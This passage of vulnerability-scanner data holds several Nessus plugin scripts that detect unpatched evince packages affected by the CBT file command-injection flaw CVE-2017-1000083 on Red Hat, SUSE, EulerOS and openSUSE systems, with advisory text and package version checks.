format (DVI) files.\n\nSecurity Fix(es) :\n\n* It was found that evince did not properly sanitize the command line\nwhich is run to untar Comic Book Tar (CBT) files, thereby allowing\ncommand injection. A specially crafted CBT file, when opened by evince\nor evince-thumbnailer, could execute arbitrary commands in the context\nof the evince program. (CVE-2017-1000083)\n\nRed Hat would like to thank Felix Wilhelm (Google Security Team) for\nreporting this issue.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/errata/RHSA-2017:2388\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2017-1000083\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Evince CBT File Command Injection');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:evince\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:evince-browser-plugin\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:evince-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:evince-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:evince-dvi\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:evince-libs\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:evince-nautilus\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:7\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:7.4\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:7.5\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:7.6\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:7.7\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2017/09/05\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2017/08/01\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2017/08/02\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Red Hat Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Red Hat\" >!< release) audit(AUDIT_OS_NOT, \"Red Hat\");\nos_ver = pregmatch(pattern: \"Red Hat Enterprise Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Red Hat\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^7([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Red Hat 7.x\", \"Red Hat \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"s390\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Red Hat\", cpu);\n\nyum_updateinfo = get_kb_item(\"Host/RedHat/yum-updateinfo\");\nif (!empty_or_null(yum_updateinfo)) \n{\n rhsa = \"RHSA-2017:2388\";\n yum_report = redhat_generate_yum_updateinfo_report(rhsa:rhsa);\n if (!empty_or_null(yum_report))\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : yum_report \n );\n exit(0);\n }\n else\n {\n audit_message = \"affected by Red Hat security advisory \" + rhsa;\n audit(AUDIT_OS_NOT, audit_message);\n }\n}\nelse\n{\n flag = 0;\n if (rpm_check(release:\"RHEL7\", cpu:\"s390x\", reference:\"evince-3.22.1-5.2.el7_4\")) flag++;\n\n if (rpm_check(release:\"RHEL7\", cpu:\"x86_64\", reference:\"evince-3.22.1-5.2.el7_4\")) flag++;\n\n if (rpm_check(release:\"RHEL7\", cpu:\"s390x\", reference:\"evince-browser-plugin-3.22.1-5.2.el7_4\")) flag++;\n\n if (rpm_check(release:\"RHEL7\", cpu:\"x86_64\", reference:\"evince-browser-plugin-3.22.1-5.2.el7_4\")) flag++;\n\n if (rpm_check(release:\"RHEL7\", reference:\"evince-debuginfo-3.22.1-5.2.el7_4\")) flag++;\n\n if (rpm_check(release:\"RHEL7\", reference:\"evince-devel-3.22.1-5.2.el7_4\")) flag++;\n\n if (rpm_check(release:\"RHEL7\", cpu:\"s390x\", reference:\"evince-dvi-3.22.1-5.2.el7_4\")) flag++;\n\n if (rpm_check(release:\"RHEL7\", cpu:\"x86_64\", reference:\"evince-dvi-3.22.1-5.2.el7_4\")) flag++;\n\n if (rpm_check(release:\"RHEL7\", reference:\"evince-libs-3.22.1-5.2.el7_4\")) flag++;\n\n if (rpm_check(release:\"RHEL7\", cpu:\"s390x\", reference:\"evince-nautilus-3.22.1-5.2.el7_4\")) flag++;\n\n if (rpm_check(release:\"RHEL7\", cpu:\"x86_64\", reference:\"evince-nautilus-3.22.1-5.2.el7_4\")) flag++;\n\n\n if (flag)\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get() + redhat_report_package_caveat()\n );\n exit(0);\n }\n else\n {\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"evince / evince-browser-plugin / evince-debuginfo / evince-devel / etc\");\n }\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-01-07T14:26:04", "description": "This update for evince fixes the following issues :\n\n - CVE-2017-1000083: Remote attackers could have used the\n comicbook mode of evince to inject shell code.\n (bsc#1046856, bgo#784630)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the SUSE security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.", "edition": 32, "cvss3": {"score": 7.8, "vector": "AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}, "published": "2017-07-19T00:00:00", "title": "SUSE SLES12 Security Update : evince (SUSE-SU-2017:1894-1)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2017-1000083"], "modified": "2017-07-19T00:00:00", "cpe": ["p-cpe:/a:novell:suse_linux:libevview3", "p-cpe:/a:novell:suse_linux:libevdocument3-4-debuginfo", "cpe:/o:novell:suse_linux:12", "p-cpe:/a:novell:suse_linux:evince-debuginfo", "p-cpe:/a:novell:suse_linux:evince", "p-cpe:/a:novell:suse_linux:libevview3-3-debuginfo", "p-cpe:/a:novell:suse_linux:libevdocument3", "p-cpe:/a:novell:suse_linux:evince-debugsource"], "id": "SUSE_SU-2017-1894-1.NASL", "href": "https://www.tenable.com/plugins/nessus/101808", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from SUSE update advisory SUSE-SU-2017:1894-1.\n# The text itself is copyright (C) SUSE.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(101808);\n script_version(\"3.12\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\"CVE-2017-1000083\");\n\n script_name(english:\"SUSE SLES12 Security Update : evince (SUSE-SU-2017:1894-1)\");\n script_summary(english:\"Checks rpm output for the updated packages.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote SUSE host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"This update for evince fixes the following issues :\n\n - CVE-2017-1000083: Remote attackers could have used the\n comicbook mode of evince to inject shell code.\n (bsc#1046856, bgo#784630)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the SUSE security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1046856\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2017-1000083/\"\n );\n # https://www.suse.com/support/update/announcement/2017/suse-su-20171894-1/\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?8d244e34\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"To install this SUSE Security Update use YaST online_update.\nAlternatively you can run the command listed for your product :\n\nSUSE OpenStack Cloud 6:zypper in -t patch\nSUSE-OpenStack-Cloud-6-2017-1170=1\n\nSUSE Linux Enterprise Server for SAP 12-SP1:zypper in -t patch\nSUSE-SLE-SAP-12-SP1-2017-1170=1\n\nSUSE Linux Enterprise Server for SAP 12:zypper in -t patch\nSUSE-SLE-SAP-12-2017-1170=1\n\nSUSE Linux Enterprise Server 12-SP1-LTSS:zypper in -t patch\nSUSE-SLE-SERVER-12-SP1-2017-1170=1\n\nSUSE Linux Enterprise Server 12-LTSS:zypper in -t patch\nSUSE-SLE-SERVER-12-2017-1170=1\n\nTo bring your system up-to-date, use 'zypper patch'.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Evince CBT File Command Injection');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:evince\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:evince-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:evince-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:libevdocument3\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:libevdocument3-4-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:libevview3\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:libevview3-3-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:suse_linux:12\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2017/09/05\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2017/07/18\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2017/07/19\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2017-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"SuSE Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release !~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"SUSE\");\nos_ver = pregmatch(pattern: \"^(SLE(S|D)\\d+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"SUSE\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^(SLES12)$\", string:os_ver)) audit(AUDIT_OS_NOT, \"SUSE SLES12\", \"SUSE \" + os_ver);\n\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (cpu !~ \"^i[3-6]86$\" && \"x86_64\" >!< cpu && \"s390x\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"SUSE \" + os_ver, cpu);\n\nsp = get_kb_item(\"Host/SuSE/patchlevel\");\nif (isnull(sp)) sp = \"0\";\nif (os_ver == \"SLES12\" && (! preg(pattern:\"^(0|1)$\", string:sp))) audit(AUDIT_OS_NOT, \"SLES12 SP0/1\", os_ver + \" SP\" + sp);\n\n\nflag = 0;\nif (rpm_check(release:\"SLES12\", sp:\"1\", reference:\"evince-3.10.3-2.3.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"1\", reference:\"evince-debuginfo-3.10.3-2.3.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"1\", reference:\"evince-debugsource-3.10.3-2.3.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"1\", reference:\"libevdocument3-4-3.10.3-2.3.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"1\", reference:\"libevdocument3-4-debuginfo-3.10.3-2.3.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"1\", reference:\"libevview3-3-3.10.3-2.3.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"1\", reference:\"libevview3-3-debuginfo-3.10.3-2.3.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"0\", reference:\"evince-3.10.3-2.3.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"0\", reference:\"evince-debuginfo-3.10.3-2.3.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"0\", reference:\"evince-debugsource-3.10.3-2.3.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"0\", reference:\"libevdocument3-4-3.10.3-2.3.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"0\", reference:\"libevdocument3-4-debuginfo-3.10.3-2.3.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"0\", reference:\"libevview3-3-3.10.3-2.3.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"0\", reference:\"libevview3-3-debuginfo-3.10.3-2.3.1\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"evince\");\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-01-07T08:52:35", "description": "According to the version of the evince packages installed, the\nEulerOS installation on the remote host is affected by the following\nvulnerability :\n\n - It was found that evince did not properly sanitize the\n command line which is run to untar Comic Book Tar (CBT)\n files, thereby allowing command injection. A specially\n crafted CBT file, when opened by evince or\n evince-thumbnailer, could execute arbitrary commands in\n the context of the evince program. (CVE-2017-1000083)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.", "edition": 25, "cvss3": {"score": 7.8, "vector": "AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}, "published": "2017-09-11T00:00:00", "title": "EulerOS 2.0 SP1 : evince (EulerOS-SA-2017-1221)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2017-1000083"], "modified": "2017-09-11T00:00:00", "cpe": ["p-cpe:/a:huawei:euleros:evince-libs", "p-cpe:/a:huawei:euleros:evince-dvi", "p-cpe:/a:huawei:euleros:evince-nautilus", "p-cpe:/a:huawei:euleros:evince", "cpe:/o:huawei:euleros:2.0"], "id": "EULEROS_SA-2017-1221.NASL", "href": "https://www.tenable.com/plugins/nessus/103079", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(103079);\n script_version(\"3.15\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\n \"CVE-2017-1000083\"\n );\n\n script_name(english:\"EulerOS 2.0 SP1 : evince (EulerOS-SA-2017-1221)\");\n script_summary(english:\"Checks the rpm output for the updated package.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote EulerOS host is missing a security update.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to the version of the evince packages installed, the\nEulerOS installation on the remote host is affected by the following\nvulnerability :\n\n - It was found that evince did not properly sanitize the\n command line which is run to untar Comic Book Tar (CBT)\n files, thereby allowing command injection. A specially\n crafted CBT file, when opened by evince or\n evince-thumbnailer, could execute arbitrary commands in\n the context of the evince program. (CVE-2017-1000083)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\");\n # https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2017-1221\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?24d1f51a\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected evince package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Evince CBT File Command Injection');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2017/08/30\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2017/09/11\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:evince\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:evince-dvi\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:evince-libs\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:evince-nautilus\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:huawei:euleros:2.0\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Huawei Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2017-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/EulerOS/release\", \"Host/EulerOS/rpm-list\", \"Host/EulerOS/sp\");\n script_exclude_keys(\"Host/EulerOS/uvp_version\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/EulerOS/release\");\nif (isnull(release) || release !~ \"^EulerOS\") audit(AUDIT_OS_NOT, \"EulerOS\");\nif (release !~ \"^EulerOS release 2\\.0(\\D|$)\") audit(AUDIT_OS_NOT, \"EulerOS 2.0\");\n\nsp = get_kb_item(\"Host/EulerOS/sp\");\nif (isnull(sp) || sp !~ \"^(1)$\") audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP1\");\n\nuvp = get_kb_item(\"Host/EulerOS/uvp_version\");\nif (!empty_or_null(uvp)) audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP1\", \"EulerOS UVP \" + uvp);\n\nif (!get_kb_item(\"Host/EulerOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"aarch64\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"EulerOS\", cpu);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_ARCH_NOT, \"i686 / x86_64\", cpu);\n\nflag = 0;\n\npkgs = [\"evince-3.8.3-9.h1\",\n \"evince-dvi-3.8.3-9.h1\",\n \"evince-libs-3.8.3-9.h1\",\n \"evince-nautilus-3.8.3-9.h1\"];\n\nforeach (pkg in pkgs)\n if (rpm_check(release:\"EulerOS-2.0\", sp:\"1\", reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"evince\");\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-06-05T11:15:28", "description": "This update for evince fixes the following issues :\n\n - CVE-2017-1000083: Remote attackers could have used the\n comicbook mode of evince to inject shell code.\n (bsc#1046856, bgo#784630)\n\nThis update was imported from the SUSE:SLE-12-SP2:Update update\nproject.", "edition": 20, "cvss3": {"score": 7.8, "vector": "AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}, "published": "2017-07-26T00:00:00", "title": "openSUSE Security Update : evince (openSUSE-2017-834)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2017-1000083"], "modified": "2017-07-26T00:00:00", "cpe": ["p-cpe:/a:novell:opensuse:evince-plugin-dvidocument-debuginfo", "p-cpe:/a:novell:opensuse:evince-plugin-xpsdocument", "p-cpe:/a:novell:opensuse:libevdocument3-4-debuginfo", "p-cpe:/a:novell:opensuse:evince-plugin-pdfdocument-debuginfo", "p-cpe:/a:novell:opensuse:typelib-1_0-EvinceView-3_0", "p-cpe:/a:novell:opensuse:evince-devel", "p-cpe:/a:novell:opensuse:evince-debugsource", "p-cpe:/a:novell:opensuse:evince-debuginfo", "p-cpe:/a:novell:opensuse:evince-plugin-xpsdocument-debuginfo", "p-cpe:/a:novell:opensuse:evince-plugin-djvudocument-debuginfo", "p-cpe:/a:novell:opensuse:evince-plugin-comicsdocument-debuginfo", "p-cpe:/a:novell:opensuse:libevview3-3-debuginfo", "p-cpe:/a:novell:opensuse:evince-plugin-tiffdocument-debuginfo", "p-cpe:/a:novell:opensuse:libevdocument3-4", "p-cpe:/a:novell:opensuse:typelib-1_0-EvinceDocument-3_0", "p-cpe:/a:novell:opensuse:evince", "p-cpe:/a:novell:opensuse:libevview3-3", "p-cpe:/a:novell:opensuse:evince-browser-plugin", "p-cpe:/a:novell:opensuse:nautilus-evince-debuginfo", "p-cpe:/a:novell:opensuse:evince-plugin-psdocument", "cpe:/o:novell:opensuse:42.2", "p-cpe:/a:novell:opensuse:evince-plugin-comicsdocument", "p-cpe:/a:novell:opensuse:nautilus-evince", "p-cpe:/a:novell:opensuse:evince-plugin-pdfdocument", "p-cpe:/a:novell:opensuse:evince-plugin-dvidocument", "p-cpe:/a:novell:opensuse:evince-plugin-psdocument-debuginfo", "p-cpe:/a:novell:opensuse:evince-plugin-djvudocument", "p-cpe:/a:novell:opensuse:evince-lang", "p-cpe:/a:novell:opensuse:evince-plugin-tiffdocument", "p-cpe:/a:novell:opensuse:evince-browser-plugin-debuginfo"], "id": "OPENSUSE-2017-834.NASL", "href": "https://www.tenable.com/plugins/nessus/101968", "sourceData": "#%NASL_MIN_LEVEL 80502\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from openSUSE Security Update openSUSE-2017-834.\n#\n# The text description of this plugin is (C) SUSE LLC.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(101968);\n script_version(\"3.6\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2020/06/04\");\n\n script_cve_id(\"CVE-2017-1000083\");\n\n script_name(english:\"openSUSE Security Update : evince (openSUSE-2017-834)\");\n script_summary(english:\"Check for the openSUSE-2017-834 patch\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote openSUSE host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"This update for evince fixes the following issues :\n\n - CVE-2017-1000083: Remote attackers could have used the\n comicbook mode of evince to inject shell code.\n (bsc#1046856, bgo#784630)\n\nThis update was imported from the SUSE:SLE-12-SP2:Update update\nproject.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1046856\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected evince packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Evince CBT File Command Injection');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-browser-plugin\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-browser-plugin-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-lang\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-plugin-comicsdocument\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-plugin-comicsdocument-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-plugin-djvudocument\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-plugin-djvudocument-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-plugin-dvidocument\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-plugin-dvidocument-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-plugin-pdfdocument\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-plugin-pdfdocument-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-plugin-psdocument\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:evince-plugin-psdocument-debuginfo\");\n script_set_attribute(attribute:\"cpe\", 